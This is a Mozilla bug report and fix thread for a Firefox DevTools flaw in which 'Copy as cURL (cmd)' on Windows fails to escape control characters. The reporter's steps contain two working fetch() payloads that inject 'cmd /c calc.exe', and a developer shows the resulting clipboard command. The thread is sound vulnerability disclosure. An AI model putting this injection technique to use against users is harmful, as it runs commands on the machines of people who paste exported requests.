1997018 - (CVE-2025-14329) Allows Arbitrary Code Execution via "Copy as cURL (windows)" in DevTools

Status: RESOLVED FIXED

(DevTools :: Netmonitor, defect, P2)

Description

[satrya wira yudha]

Attachment: bandicam 2025-10-29 08-52-32-041.mp4

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0

Steps to reproduce:

The issue concerns the “Copy as cURL (cmd)” feature in DevTools. When exporting a request to Windows that includes a cmd command, the parsing logic fails to correctly handle control characters.

This also affects Firefox Nightly version 146.0a1 (2025-10-28) (64-bit).

os: windows 11

Steps to reproduce:

1. Copy and run the payload in console (this can also be via html)

fetch("/copyme", {
  credentials: "omit",
  headers: {
    "Accept-Language": "en-US",
    "Content-Type": "text/plain",
  },
  method: "POST",
  body: `
query=evil\ncmd /c calc.exe\x1a\ncmd /c calc.exe\x1a
`
});

or

fetch("/copyme", {
  credentials: "omit",
  headers: {
    "Accept-Language": "en-US",
    "Content-Type": "text/plain",
  },
  method: "POST",
  body: `
query=evil\ncmd /c calc.exe\x0e\ncmd /c calc.exe\x0f
`
});

2. Copy the request with copy as curl (cmd)
3. Paste on the windows cmd and see calc pop up

Comment 1

[satrya wira yudha]

Attachment: nigthly.mp4

Comment 2

[:glob ✱]

Here's what ends up on the clipboard:

curl.exe ^"https://example.com/copyme^" ^
  --compressed ^
  -X POST ^
  -H ^"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0^" ^
  -H ^"Accept: */*^" ^
  -H ^"Accept-Language: en-US^" ^
  -H ^"Accept-Encoding: gzip, deflate, br, zstd^" ^
  -H ^"Referer: https://glob.au/^" ^
  -H ^"Content-Type: text/plain^" ^
  -H ^"Origin: https://glob.au^" ^
  -H ^"Connection: keep-alive^" ^
  -H ^"Sec-Fetch-Dest: empty^" ^
  -H ^"Sec-Fetch-Mode: cors^" ^
  -H ^"Sec-Fetch-Site: same-origin^" ^
  -H ^"Idempotency-Key: ^\^"17998794007892653385^\^"^" ^
  -H ^"Priority: u=4^" ^
  -H ^"TE: trailers^" ^
  --data-raw ^"^

query=evil^

cmd /c calc.exe^^

cmd /c calc.exe^^

^"

Comment 3

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Comment 4

[:Gijs (he/him)]

Is this the same as bug 1996761?

Comment 5

[:glob ✱]

Bug 1996761, Bug 1997018 (this one), Bug 1998010, and Bug 1998064 all appear to be related to the same root cause - unescaped characters in POST data; however, all are using different characters/sequences to trigger the exploit.

Comment 6

[Hubert Boma Manilla (:bomsy)]

So did a bit more investigation,
The issue here (which is the same as with Bug 1998064 and Bug 1998010) is we are currently escaping ASCII control characters See https://www.ascii-code.com/characters/control-characters with ^ (the main escape character for the Windows CMD), but this does not work.

It is exploited to escape break the escape sequence by escaping the caret which escapes the next character.

e.g calc.exe\x0e\ncmd becomes calc.exe^^\n\ncmd => The first ^ from the escape of the control character escapes the second ^ which should have escaped the new line.
The valid result be calc.exe^\n\ncmd => When we do not escape the control character

Comment 9

[satrya wira yudha]

maybe you can do it, Replace all non-printable characters with space, as these break cmd.exe commands as well

Comment 10

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/e53d1ca45621
https://hg.mozilla.org/integration/autoland/rev/1864f6aa8ae0
[devtools] Stop escaping Unicode control (non-printable) characters with caret(^) r=devtools-reviewers,nchevobbe

Comment 11

[Ryan VanderMeulen [:RyanVM]]

https://hg-edge.mozilla.org/mozilla-central/rev/1864f6aa8ae0

Comment 12

[BugBot [:suhaib / :marco]]

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox146 to wontfix.

For more information, please visit BugBot documentation.

Comment 13

[Donal Meehan [:dmeehan]]

:bomsy, to add to Comment 12, this will also need an uplift request for ESR140. It grafts cleanly.

Comment 14

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.

Original Revision: https://phabricator.services.mozilla.com/D270661

Comment 15

[Phabricator Automation]

firefox-beta Uplift Approval Request

• User impact if declined: Clever combination of control character in a curl command, if run on the user's machine can cause vunerability.
• Code covered by automated testing: yes
• Fix verified in Nightly: yes
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: Small js patch to properly escape unicode control characters.
• String changes made/needed: none
• Is Android affected?: no

Comment 16

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.

Original Revision: https://phabricator.services.mozilla.com/D270661

Comment 17

[Phabricator Automation]

firefox-esr140 Uplift Approval Request

• User impact if declined: Clever combination of control character in a curl command, if run on the user's machine can cause vunerability.
• Code covered by automated testing: yes
• Fix verified in Nightly: yes
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: Small js patch to properly escape unicode control characters.
• String changes made/needed: none
• Is Android affected?: no

Comment 18

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/ceb6f4eb68c4
https://hg.mozilla.org/releases/mozilla-beta/rev/7431232858d9

Comment 19

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/e312e96672e8
https://hg.mozilla.org/releases/mozilla-beta/rev/9251d587ae71
Fix lint failure. DONTBUILD

Comment 20

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.

Original Revision: https://phabricator.services.mozilla.com/D270661

Comment 21

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/0ddcaf2c22c1

Comment 22

[satrya wira yudha]

Hey team,

is it possible to complete the bounty form as soon as possible? I will be undergoing mandatory military training, and for the next few months I won’t have access to any electronic devices. I’m worried I might not be able to fill out the form once the training begins.

If it can’t be expedited, that’s totally fine.

Thank you.

Comment 23

[Daniel Veditz [:dveditz]]

That's a question for Tom

Comment 24

[Tom Ritter [:tjr]]

Done

Comment 25

[satrya wira yudha]

Is it possible?

Comment 26

[Tom Ritter [:tjr]]

I've sent the invoice to Accounting who should reach out to you. If you have further questions about the process; please email [e-mail]